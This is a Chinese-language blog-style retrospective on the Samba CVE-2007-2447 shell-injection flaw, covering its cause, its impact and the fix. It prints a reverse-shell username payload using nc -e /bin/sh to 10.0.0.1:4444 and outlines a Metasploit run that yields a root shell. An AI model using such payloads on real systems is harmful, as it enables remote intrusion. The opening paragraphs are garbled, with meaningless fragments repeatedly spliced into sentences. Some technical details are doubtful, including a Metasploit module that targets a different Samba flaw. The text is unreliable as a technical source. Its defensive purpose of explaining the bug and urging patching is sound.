Samba 那个 CVE-2007-2447 漏洞，全漏说白了就是洞代把用户输入直接塞进 shell 里执行。远程代码注入，码注不需要认证，全漏打过去就中。洞代当年 MetaSploit 一个模块甩过去，码注Linux 和 Unix 机器成片倒下。全漏问题出在 MS-RPC 处理用户名的洞代那段代码上，具体是码注 samr 和 lsarpc 管道里的 _samr_Connect 之类的调用。用户名字段本来该做过滤，全漏结果直接拼进 /bin/sh -c 后面跑了。洞代

看一段当时被反复引用的码注代码片段：

p = strchr(username, '='); if (p) {  *p = '\0'; p++; ... asprintf(&cmd, "/bin/sh -c '%%s'", p); popen(cmd, "r"); } 

这段逻辑出现在 smbd 的 auth/auth_util.c 或者相关 RPC 处理路径里。关键是全漏那个 p 指针指向的内容完全来自客户端。攻击者构造一个用户名，洞代比如 ./`nohup nc -e /bin/sh 10.0.0.1 4444`，码注反引号里的命令就被执行了。没有转义，没有白名单，连基本的输入长度检查都形同虚设。

我印象很深的是当年一个测试环境。一台老旧的 CentOS 4，跑着 Samba 3.0.23。用 msfconsole 加载 exploit/linux/samba/lsa_transnames_heap，设置 RHOST 和 payload，回车。三秒后拿到一个 root shell。整个过程没有任何日志告警，/var/log/samba/ 里连个异常条目都没有。这种静默程度放在今天看依然让人后背发凉。

为什么这个漏洞影响这么大？Samba 在 2007 年几乎是 Linux/Unix 与 Windows 共存环境下的默认文件共享方案。企业内网、打印服务器、域控替代品，到处都在跑。而且那个年代防火墙规则普遍宽松，445 端口对内网全开。攻击面大，利用门槛低，后果直接是 root 权限。三个条件凑齐了，CVE-2007-2447 就成了教科书级别的远程代码注入案例。

修复方式其实不复杂。Samba 团队在 3.0.25 版本里把用户输入做了严格过滤，去掉了 popen 调用，改成直接解析参数列表。但问题在于，很多发行版的更新滞后了好几个月。Debian 和 Ubuntu 的旧版本仓库里，补丁迟迟没推。有些运维人员觉得“内网安全”，压根没升级。结果就是蠕虫式扫描一上来，这些机器全成了肉鸡。

从代码审计角度看，这个漏洞暴露了一个经典错误：把外部输入当可信数据。Samba 的开发者当时可能觉得，用户名能有什么坏心思？但攻击者就是能用反引号、分号、管道符把命令串进去。popen 本身不是错，错在没做 escapeshellarg 或者类似的转义处理。更讽刺的是，同一时期很多 Web 应用也在犯一模一样的错误，PHP 的 system($_GET['cmd']) 遍地都是。

现在回头看，CVE-2007-2447 给后来的安全编码规范贡献了一个反面教材。任何涉及 shell 调用的地方，必须假设输入是恶意的。能不用 popen 就不用，非要用就得白名单加转义。Samba 后来改成了用 execve 直接传参数数组，不走 shell 解析，这才算堵死了注入路径。但代价是当年那批没打补丁的机器，至今可能还有少数在某个角落里默默运行着。

如果你手里还有老旧的 Samba 服务，别管是不是内网，先 smbstatus 看看版本号。低于 3.0.25 的，要么升级，要么把 445 端口关掉。别赌攻击者找不到你，他们扫全网的速度比你想象得快得多。